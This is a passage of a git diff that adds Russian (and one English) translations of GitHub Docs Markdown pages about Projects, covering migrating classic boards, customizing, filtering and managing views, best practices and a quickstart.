reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %} +1. В левой части экрана щелкните **Проекты (классическая версия)** . + ![Снимок экрана: пункт меню Проекты (классическая версия)}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %} + +## Перенос доски проекта пользователя + +{% data reusables.projects.enable-migration %} {% data reusables.profile.access_profile %} +1. В верхней части страницы своего профиля в главной области навигации щелкните {% octicon "project" aria-label="The project board icon" %} **Проекты**. +![Вкладка "Проект"](/assets/images/help/projects/user-projects-tab.png) +1. Над списком проектов щелкните **Проекты (классическая версия)** . + ![Снимок экрана: пункт меню Проекты (классическая версия)}](/assets/images/help/issues/projects-classic-user.png) {% data reusables.projects.migrate-project-steps %} + +## Перенос доски проекта в репозитории + +{% note %} + +**Примечание.** {% data variables.projects.projects_v2_caps %} не поддерживает проекты уровня репозитория. При миграции доска проекта репозитория будет перенесена в учетную запись организации или личную учетную запись, владеющую проектом репозитория, и перенесенный проект будет закреплен в исходном репозитории. + +{% endnote %} + +{% data reusables.projects.enable-migration %} {% data reusables.repositories.navigate-to-repo %} +1. Щелкните {% octicon "project" aria-label="The project board icon" %} **Проекты** под названием своего репозитория. +![Вкладка "Проект"](/assets/images/help/projects/repo-tabs-projects.png) +1. Щелкните **Проекты (классическая версия)** . + ![Снимок экрана: пункт меню Проекты (классическая версия)}](/assets/images/help/issues/projects-classic-org.png) {% data reusables.projects.migrate-project-steps %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md new file mode 100644 index 000000000000..960ace97387d --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md @@ -0,0 +1,150 @@ +--- +title: Customizing a view +intro: 'Display the information you need by changing the layout, grouping, sorting in your project.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/customizing-your-project-views +type: tutorial +topics: + - Projects +--- + + +## Changing the project layout + +You can view your project as a table or as a board. + +{% data reusables.projects.open-view-menu %} +1. Under "Layout", click either **Table** or **Board**. + ![Screenshot showing layout option](/assets/images/help/projects-v2/table-or-board.png) + + + +Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Switch layout." + +## Showing and hiding fields + +You can show or hide a specific field. + +{% data reusables.projects.open-view-menu %} +1. Under "Configuration", click {% octicon "note" aria-label="the note icon" %} and the list of currently shown fields. + ![Screenshot showing show and hide fields menu option](/assets/images/help/projects-v2/show-hide-fields-menu-item.png) +1. Select or deselect the fields you want to show or hide. + ![Screenshot showing show and hide fields menu](/assets/images/help/projects-v2/show-hide-fields.png) + +You can also hide individual fields in table view. + +1. Next to the field you want to hide, click {% octicon "kebab-horizontal" aria-label="the kebab icon" %}. + ![Screenshot showing field menu icon](/assets/images/help/projects-v2/modify-field-menu.png) +1. Click {% octicon "eye-closed" aria-label="the eye closed icon" %} **Hide field**. + ![Screenshot showing hide field menu option](/assets/images/help/projects-v2/hide-field-via-menu.png) + +Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "show", "hide", or the name of the field. + +## Reordering fields + +In table layout, you can change the order of fields. + +1. Click the field header. + ![Screenshot showing the field header](/assets/images/help/projects-v2/select-field-header.png) +2. While continuing to click, drag the field to the required location. + +## Reordering rows + +In table layout, you can change the order of rows. + +1. Click the number at the start of the row. + ![Screenshot showing the row number](/assets/images/help/projects-v2/select-row-number.png) +2. While continuing to click, drag the row to the required location. + +## Sorting by field values + +In table layout, you can sort items by a field value. + +{% note %} + +**Note:** When a table is sorted, you cannot manually reorder rows. + +{% endnote %} + +{% data reusables.projects.open-view-menu %} +1. Click **Sort**. + ![Screenshot showing the sort menu item](/assets/images/help/projects-v2/sort-menu-item.png) +1. Click the field you want to sort by. + ![Screenshot showing the sort menu](/assets/images/help/projects-v2/sort-menu.png) +2. Optionally, to change the direction of the sort, click {% octicon "sort-desc" aria-label="the sort icon" %}. + ![Screenshot showing sort order option](/assets/images/help/projects-v2/sort-order.png) +3. Optionally, to remove a sort, click {% octicon "x" aria-label="the x icon" %} **No sorting** at the bottom of the list. + ![Screenshot showing "no sorting"](/assets/images/help/projects-v2/no-sorting.png) + +Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Sort by." + +## Grouping by field values in table layout + +In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`. Similarly, when you add a new item to a group, the new item is populated with the value of the group. + +{% note %} + +**Note:** You cannot group by title, labels, reviewers, or linked pull requests. + +{% endnote %} + +{% data reusables.projects.open-view-menu %} +1. Click {% octicon "rows" aria-label="the rows icon" %} **Group**. + ![Screenshot showing the group menu item](/assets/images/help/projects-v2/group-menu-item.png) +1. Click the field you want to group by. + ![Screenshot showing the group menu](/assets/images/help/projects-v2/group-menu.png) +2. Optionally, to disable grouping, click {% octicon "x" aria-label="the x icon" %} **No grouping** at the bottom of the list. + ![Screenshot showing "no grouping"](/assets/images/help/projects-v2/no-grouping.png) + +Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Group by." + +{% ifversion projects-v2-numeric-summary %} + +## Showing the sum of a number field + +You can configure a view to show the sum of one of more number fields, including a count of items in the group or column. For example, if you have a number field tracking the number of hours each item may take to complete, you can display of sum of those hours for each group or column. + +In board layout, field sums are displayed at the top of each column. In table layout, when you enable grouping by a field, field sums are included in each group's header. + +{% data reusables.projects.open-view-menu %} +1. Click {% octicon "number" aria-label="the number icon" %} **Field sum**. + + ![Screenshot showing the field sum menu item](/assets/images/help/projects-v2/field-sum-menu.png) + +1. Select the fields you want to include. + + ![Screenshot showing the field sum menu](/assets/images/help/projects-v2/field-sum-select-field.png) + + +{% endif %} + +## Setting the column field in board layout + +In the board layout, you choose any single select or iteration field for your columns. If you drag an item to a new column, the value of that column is applied to the dragged item. For example, if you use the "Status" field for your board columns and then drag an item with a status of `In progress` to the `Done` column, the status of the item will switch to `Done`. + +{% data reusables.projects.open-view-menu %} +1. Click {% octicon "columns" aria-label="the columns icon" %} **Column field**. + ![Screenshot showing the column field item](/assets/images/help/projects-v2/column-field-menu-item.png) +1. Click the field you want to use. + ![Screenshot showing the column field menu](/assets/images/help/projects-v2/column-field-menu.png) + +Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Column field by." + +{% ifversion projects-v2-column-visibility %} + +## Showing and hiding columns in board layout + +In the board layout, you can can choose which columns to display. The available columns are made up of the contents of your selected column field. + +1. In the board layout, scroll to the right of your columns, and click {% octicon "plus" aria-label="the plus icon" %}. + + ![Screenshot showing the plus symbol button](/assets/images/help/projects-v2/board-add-column.png) + +1. Select the columns you want to show. + + ![Screenshot showing the list of columns](/assets/images/help/projects-v2/board-select-columns.png) + +{% endif %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md new file mode 100644 index 000000000000..58f1aaac9018 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects.md @@ -0,0 +1,38 @@ +--- +title: 'Фильтрация {% data variables.projects.projects_v2 %}' +intro: 'Используйте фильтры для выбора элементов, отображаемых в представлениях проекта.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/filtering-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 680d6cff10dfc063ebaef0ebc9f8f7d0c15ba2e7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158944' +--- +Для настройки представлений можно использовать фильтры метаданных элементов, таких как исполнители и метки, применяемые к проблемам, а также поля в проекте. Фильтры можно объединять и сохранять как представления. Дополнительные сведения см. в разделе [Настройка представлений проекта](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view). + +Чтобы отфильтровать проект, нажмите на {% octicon "filter" aria-label="The Filter icon" %} и начните вводить поля и значения, которые вы хотите отфильтровать. По мере ввода будут отображаться возможные значения. Вы также можете открыть палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и ввести "фильтр", чтобы выбрать нужный фильтр из доступных. + +Если выбрать несколько фильтров, они будут объединены логическим И. Например, `label:bug status:"In progress"` возвращает элементы с меткой `bug` с состоянием "Выполняется". {% data variables.product.prodname_projects_v2 %} в настоящее время не поддерживает фильтры с логическим ИЛИ по нескольким полям. + +Те же фильтры доступны для диаграмм, создаваемых с помощью аналитических сведений для {% data variables.product.prodname_projects_v2 %}, что позволяет фильтровать данные, используемые для создания диаграмм. Дополнительные сведения см. в разделе [Использование аналитических сведений с проектами](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects). + +При фильтрации представления и последующем добавлении элемента к добавлению отфильтрованные метаданные будут применены к добавленным элементам. Например, если вы фильтруете `status:"In progress"` по и добавляете элемент, состояние нового элемента будет иметь значение "Выполняется". + +## Фильтрация элементов + +Щелкните значок {% octicon "filter" aria-label="the filter icon" %} в верхней части таблицы, чтобы отобразить панель "Фильтровать по ключевому слову или полю". Начните вводить имя поля и значение, по которому требуется выполнить фильтрацию. По мере ввода будут отображаться возможные значения. + +{% data reusables.projects.projects-filters %} + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "фильтр". + +В макете доски можно щелкнуть данные элемента, чтобы отфильтровать элементы с таким значением. Например, можно щелкнуть уполномоченного, чтобы отобразить только назначенные ему элементы. Чтобы удалить фильтр, щелкните данные элемента еще раз. diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md new file mode 100644 index 000000000000..c9ab51a743e7 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/index.md @@ -0,0 +1,22 @@ +--- +title: 'Настройка представлений в {% data variables.projects.project_v2 %}' +shortTitle: Customizing views +intro: 'Вы можете создать несколько представлений для просмотра проекта с разных углов, выбрав нужные элементы и способ их отображения.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /customizing-a-view + - /filtering-projects + - /managing-your-views +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 10c4aaf54f90773acb1d7a9ed2a8dc186278010e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109028' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md new file mode 100644 index 000000000000..d41024ec836a --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/managing-your-views.md @@ -0,0 +1,77 @@ +--- +title: Управление представлениями +intro: 'Узнайте, как создавать и сохранять представления проектов и управлять ими.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +ms.openlocfilehash: 9b3d7f4b12210841a0c55f3b0b7356da9b225416 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109560' +--- +## Создание представления проекта + +Представления проекта позволяют быстро просматривать конкретные аспекты проекта. Каждое представление отображается на отдельной вкладке проекта. + +Вот несколько возможных примеров. +- Представление, где перечислены все не запущенные элементы (фильтр по состоянию). +- Представление, где отображается рабочая нагрузка для каждой команды (группировка по пользовательскому полю "Команда"). +- Представление, где отображаются элементы с самой ранней целевой датой доставки (сортировка по полю даты). + +Добавление нового представления + +{% data reusables.projects.new-view %} + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "создать представление". + +Новое представление сохраняется автоматически. + +## Дублирование представления + +Вы можете дублировать существующее представление и использовать его в качестве основы для внесения дальнейших изменений. + +1. Переключитесь на представление, которое вы хотите дублировать. +{% data reusables.projects.open-view-menu %} +1. Щелкните {% octicon "versions" aria-label="the versions icon" %} **Дублировать представление**. + ![Снимок экрана: повторяющийся пункт меню](/assets/images/help/projects-v2/duplicate-view.png) + +## Сохранение изменений в представлении + +Если вы изменили представление, например, применили к нему сортировку, фильтр, группировку или изменили порядок данных в нем, рядом с именем представления появится точка, указывающая на наличие несохраненных изменений. + +![Индикатор несохраненных изменений](/assets/images/help/projects/unsaved-changes.png) + +Если сохранять изменения не требуется, этот индикатор можно игнорировать. Такие изменения будут видны только вам. + +{% data reusables.projects.save-view %} + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "сохранить представление". + +## Изменение порядка сохраненных представлений + +Чтобы изменить порядок вкладок, на которых содержатся сохраненные представления, щелкните нужную вкладку и перетащите ее в новое место. Новый порядок вкладок сохраняется автоматически. + +## Переименование сохраненного представления + +Сохраненные представления можно переименовать. Новое имя сохраняется автоматически. + +1. Переключитесь на представление, которое вы хотите переименовать. +{% data reusables.projects.open-view-menu %} +1. Щелкните {% octicon "pencil" aria-label="the pencil icon" %} **Переименовать представление**. + ![Снимок экрана: пункт меню "Переименовать"](/assets/images/help/projects-v2/rename-view.png) +1. Введите новое имя представления. +1. Чтобы сохранить изменения, нажмите клавиши <kbd>Возврат</kbd>. + +## Удаление сохраненного представления + +1. Переключитесь на представление, которое вы хотите удалить. +{% data reusables.projects.open-view-menu %} +1. Щелкните {% octicon "trash" aria-label="the trasj icon" %} **Удалить представление**. + ![Снимок экрана: пункт меню "Удалить"](/assets/images/help/projects-v2/delete-view.png) + +Или откройте палитру команд проекта, нажав {% data variables.projects.command-palette-shortcut %}, и начните вводить "удалить представление". diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/index.md new file mode 100644 index 000000000000..00e98c2d3fcd --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/index.md @@ -0,0 +1,29 @@ +--- +title: 'Планирование и отслеживание с помощью {% data variables.product.prodname_projects_v2 %}' +shortTitle: '{% data variables.product.prodname_projects_v2 %}' +intro: 'Создайте адаптируемые проекты для отслеживания работы в {% data variables.product.company_short %}.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /learning-about-projects + - /creating-projects + - /managing-items-in-your-project + - /understanding-fields + - /customizing-views-in-your-project + - /automating-your-project + - /viewing-insights-from-your-project + - /managing-your-project +allowTitleToDifferFromFilename: true +redirect_from: + - /issues/trying-out-the-new-projects-experience +ms.openlocfilehash: 89e7ed2a98f1b29f26d268622b639a893ab0c552 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159240' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md new file mode 100644 index 000000000000..2b2244809b02 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects.md @@ -0,0 +1,66 @@ +--- +title: 'Сведения о {% data variables.product.prodname_projects_v2 %}' +intro: "{% data variables.product.prodname_projects_v2 %}\_— это адаптируемый гибкий инструмент для планирования и отслеживания работы в {% data variables.product.company_short %}." +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/about-projects +type: overview +topics: + - Projects +ms.openlocfilehash: 768234aa5e6c9cfbca6a6144a80ac2868f3316ce +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158864' +--- +## Сведения о {% data variables.product.prodname_projects_v2 %} + +Проект — это адаптируемая электронная таблица, которая интегрируется с вашими проблемами и запросами на вытягивание в {% data variables.product.company_short %} для эффективного планирования и отслеживания работы. Вы можете создавать и настраивать несколько представлений, фильтруя, сортируя, группируя проблемы и запросы на вытягивание, добавляя настраиваемые поля для отслеживания метаданных, относящихся к вашей команде, и визуализировать работу с настраиваемыми диаграммами. Вместо применения конкретной методологии проект предоставляет гибкие функции, которые можно настроить в соответствии с потребностями и процессами вашей команды. + +### Обновление + +Проекты создаются на основе проблем и запросов на вытягивание, которые вы добавляете, создавая прямые ссылки между проектом и работой. Данные автоматически синхронизируются с проектом при внесении изменений, обновлении представлений и диаграмм. Интеграция работает и в обратном порядке: при изменении сведений о запросе на вытягивание или проблеме из проекта соответствующая информация отражается в запросе на вытягивание или проблеме. Например, измените назначаемого пользователя в проекте, и это изменение отобразится в вашей проблеме. Эту интеграцию можно усилить — сгруппируйте проект по уполномоченным и измените назначение проблемы, перетащив ее в другую группу. + +### Добавление метаданных к элементам + +Настраиваемые поля можно использовать для добавления метаданных в проблемы, запросы на вытягивание и черновики проблем, а также для создания более полного представления атрибутов элемента. Вы не ограничены встроенными метаданными (уполномоченный, веха, метки и т. д.), которые в настоящее время существуют для проблем и запросов на вытягивание. Например, можно добавить следующие метаданные в качестве настраиваемых полей: + +- Поле даты для отслеживания целевых дат публикации. +- Числовое поле для отслеживания сложности задачи. +- Поле с выбором одного значения для отслеживания приоритета задач: низкий, средний или высокий. +- Текстовое поле для добавления краткой заметки. +- Поле итерации для планирования работы по неделям с поддержкой перерывов в работе. + +{% ifversion projects-v2-tasklists %} + +### Изучение связей между проблемами + +{% data reusables.projects.tasklists-release-stage %} + +Списки задач можно использовать для создания иерархий проблем, разделения проблем на более мелкие подзадачи и создания новых связей между проблемами. Дополнительные сведения см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/about-tasklists). + +Эти связи отображаются в проблеме, а также в полях Отслеживаемые и Отслеживаемые в проектах. Вы можете отфильтровать проблемы, которые отслеживаются по другой проблеме, а также сгруппировать представления таблиц по полю Отслеживаемые, чтобы отобразить все родительские проблемы со списком их подзадач. + +{% endif %} + +### Просмотр проекта с разных точек зрения + +Быстро находите ответы на наиболее актуальные вопросы с помощью настройки представления проекта для получения необходимых сведений. Вы можете сохранить эти представления, чтобы быстро вернуться к ним при необходимости и сделать их доступными для команды. Представления не только позволяют ограничить область указанных элементов, но и предлагают два различных варианта макета. + +Проект можно просматривать в виде таблицы с высокой плотностью: + +![Таблица проекта](/assets/images/help/issues/projects_table.png) + +Или в виде доски: + +![Доска проекта](/assets/images/help/issues/projects_board.png) + +Чтобы сфокусировать внимание на отдельным аспектах проекта, можно группировать, сортировать или фильтровать элементы: + +![Представление проекта](/assets/images/help/issues/project_view.png) + +Дополнительные сведения см. в статье [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view). diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md new file mode 100644 index 000000000000..404084897dac --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects.md @@ -0,0 +1,88 @@ +--- +title: 'Рекомендации по {% data variables.product.prodname_projects_v2 %}' +intro: Советы по управлению проектами. +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects +type: overview +topics: + - Projects + - Issues + - Project management +ms.openlocfilehash: 1473e08a8a6d3bf4df480b4b5ce6930753a04491 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106768' +--- +Вы можете использовать {% data variables.product.prodname_projects_v2 %} для управления работой в {% data variables.product.company_short %}, где находятся ваши проблемы и запросы на вытягивание. Ознакомьтесь с советами по эффективному управлению проектами. Дополнительные сведения о {% data variables.product.prodname_projects_v2 %} см. в разделе [Сведения о {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). + +## Разделение больших проблем на небольшие + +Благодаря разделению большой проблемы на небольшие работа становится более управляемой и позволяет членам команды работать параллельно. Это также способствует созданию меньших запросов на вытягивание, которые проще проверять. + +Для отслеживания того, как небольшие проблемы соответствуют большей цели, используйте списки задач, вехи или метки. Дополнительные сведения см. в статьях [Сведения о списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists), [Сведения о вехах](/issues/using-labels-and-milestones-to-track-work/about-milestones) и [Управление метками](/issues/using-labels-and-milestones-to-track-work/managing-labels). + +## Взаимодействие + +Проблемы и запросы на вытягивание включают встроенные возможности, позволяющие легко взаимодействовать с участниками совместной работы. Используйте @mentions, чтобы отправить оповещение о комментарии для одного пользователя или всей команды. Назначьте проблемы участникам совместной работы, чтобы сообщить об ответственности. Предоставьте ссылки на связанные проблемы или запросы на вытягивание, чтобы объяснить, как они связаны. + +## Использование описания и файла README + +Используйте описание проекта и файл README, чтобы предоставить общий доступ к сведениям о проекте. + +Пример: + +- объяснение назначения проекта; +- описание представлений проекта и их использования; +- включение соответствующих ссылок и пользователей для получения дополнительных сведений. + +Файлы README проекта поддерживают Markdown, что позволяет использовать изображения и расширенное форматирование, например ссылки, списки и заголовки. + +Дополнительные сведения см. в разделе [Создание {% data variables.projects.project_v2 %}](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project). + +## Использование представлений + +Используйте представления для разностороннего просмотра проекта. + +Пример: + +- Фильтрация по состоянию для просмотра всех незапущенных элементов +- Группирование по полям настраиваемого приоритета для отслеживания объема элементов с высоким приоритетом +- Сортировка поля с настраиваемой датой для просмотра элементов с самой ранней целевой датой доставки + +Дополнительные сведения см. в статье [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view). + +## Наличие единого истинного источника + +Чтобы предотвратить нарушение синхронизации сведений, сохраните один источник истины. Например, отслеживайте целевую дату доставки в одном расположении вместо распределения по нескольким полям. Затем в случае сдвига целевой даты доставки необходимо обновить дату только в одном расположении. + +Проекты {% data variables.product.prodname_projects_v2 %} автоматически синхронизируются с данными {% data variables.product.company_short %}, такими как уполномоченные, вехи и метки. Если одно из этих полей изменяется в запросе на вытягивание или в проблеме, изменение автоматически отражается в проекте. + +## Использование автоматизации + +Вы можете автоматизировать задачи, чтобы меньше заниматься бесполезной работой и тратить больше времени на сам проект. Чем меньше задач вам нужно выполнять вручную, тем более вероятно, что ваш проект будет оставаться актуальным. + +{% data variables.product.prodname_projects_v2 %} предлагает встроенные рабочие процессы. Например, проект можно настроить так, что при закрытии проблемы автоматически будет выбираться состояние "Готово". {% ifversion projects-v2-auto-archive %} Вы также можете настроить встроенные рабочие процессы для автоматического архивации элементов, если они соответствуют определенным критериям. {% endif %} + +Кроме того, API GraphQL и {% data variables.product.prodname_actions %} позволяют автоматизировать рядовые задачи по управлению проектами. Например, для отслеживания запросов на вытягивание, ожидающих проверки, можно создать рабочий процесс, который добавляет запрос на вытягивание в проект и задает состояние "требует проверки". Этот процесс можно активировать автоматически, когда запрос на вытягивание помечается как "готовый к проверке". + +- Дополнительные сведения о встроенных рабочих процессах см. в разделе [Использование встроенных автоматизации](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations). {% ifversion projects-v2-auto-archive %} +- Дополнительные сведения об автоматической архивации элементов см. в разделе [Архивация элементов автоматически](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically). {% endif %} +- Пример рабочего процесса см. в разделе [Автоматизация {% data variables.product.prodname_projects_v2 %} с помощью действий](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). +- Дополнительные сведения об API см. в разделе [Использование API для управления {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects). +- Дополнительные сведения о {% data variables.product.prodname_actions %} см. в статье [{% data variables.product.prodname_actions %}](/actions). + +## Использование различных типов полей + +Используйте различные типы полей в соответствии со своими потребностями. + +Поле итерации используется для планирования работы или создания временной шкалы. Вы можете выполнить группировку по итерации, чтобы узнать, сбалансированы ли элементы между итерациями, или можете активировать фильтр, чтобы сосредоточиться на одной итерации. Поля итерации также позволяют просматривать работу, выполненную в прошлых итерациях, что может помочь с планированием скорости и отражением достижений вашей команды. Эти поля также поддерживают перерывы, чтобы показать, когда вы и ваша команда делаете перерывы от итераций. Дополнительные сведения см. в разделе [Сведения о полях итерации](/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields). + +Используйте поле с возможностью одного выбора для отслеживания сведений о задаче на основе предопределенного списка значений. Например, используйте его для отслеживания приоритета или этапа проекта. Так как значения выбираются из предопределенного списка, вы легко можете выполнить группирование или фильтрование, чтобы сосредоточиться на элементах с определенным значением. + +Дополнительные сведения о различных типах полей см. в статье [Сведения о типах полей](/issues/planning-and-tracking-with-projects/understanding-field-types). diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md new file mode 100644 index 000000000000..be5ffcf1c282 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/index.md @@ -0,0 +1,21 @@ +--- +title: 'Сведения о {% data variables.product.prodname_projects_v2 %}' +intro: 'Узнайте о {% data variables.product.prodname_projects_v2 %} и о том, как максимально эффективно использовать этот мощный инструмент.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /about-projects + - /quickstart-for-projects + - /best-practices-for-projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 3629a25866eb08c704ee857ef78140e356202337 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109022' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md new file mode 100644 index 000000000000..856f18a24b26 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects.md @@ -0,0 +1,172 @@ +--- +title: 'Краткое руководство по {% data variables.product.prodname_projects_v2 %}' +intro: 'Повысьте скорость, гибкость и настройку {% data variables.product.prodname_projects_v2 %} путем создания проекта в этом интерактивном руководстве.' +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/quickstart +type: quick_start +topics: + - Projects +ms.openlocfilehash: 39798565419acaa831a996a0c86cc62f367f4bb7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110071' +--- +## Введение + +В этом руководстве показано, как использовать {% data variables.product.prodname_projects_v2 %} для планирования и отслеживания элемента работы. В этом руководстве вы создадите новый проект и добавите настраиваемое поле для отслеживания приоритетов задач. Вы также узнаете, как создавать сохраненные представления, которые помогают обмениваться приоритетами и прогрессом с участниками совместной работы. + +## Предварительные требования + +Вы можете создать проект организации или проект пользователя. Чтобы создать проект организации, вам потребуется организация {% data variables.product.prodname_dotcom %}. Дополнительные сведения о создании организации см. в разделе [Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch) (Создание новой организации с нуля). + +В этом руководстве вы добавите в новый проект существующие проблемы из репозиториев, принадлежащих организации (для проектов организации) или вам лично (для проектов пользователя). Дополнительные сведения о создании проблем см. в [этом разделе](/issues/tracking-your-work-with-issues/creating-an-issue). + +## Создание проекта + +Для начала создайте проект организации или проект пользователя. + +### Создание проекта организации + +{% data reusables.projects.create-project %} + +### Создание проекта пользователя + +{% data reusables.projects.create-user-project %} + +## Настройка описания проекта и файла README + +{% data reusables.projects.project-description %} + +## Добавление проблем в проект + +Затем добавьте в проект несколько проблем. + +{% data reusables.projects.add-item-via-paste %} + +Чтобы добавить в проект несколько проблем, повторите эти действия несколько раз. + +Дополнительные сведения о других способах добавления проблем в проект и о других элементах, которые можно добавить в проект, см. в статье [Добавление элементов в проект](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project). + +## Добавление черновиков проблем в проект + +Теперь добавьте в проект черновик проблемы + +{% data reusables.projects.add-draft-issue %} + +## Добавление поля итерации + +Затем создайте поле итерации, чтобы запланировать и отслеживать работу по повторяющимся блокам времени. Итерации можно настроить в зависимости от стиля работы вашей команды, указав настраиваемую длину и возможность вставки разрывов. + +{% data reusables.projects.new-field %} +1. Выберите **Итерация** + ![Снимок экрана: параметр "Итерация"](/assets/images/help/projects-v2/new-field-iteration.png) +3. Чтобы изменить длительность каждой итерации, введите новое значение, а затем 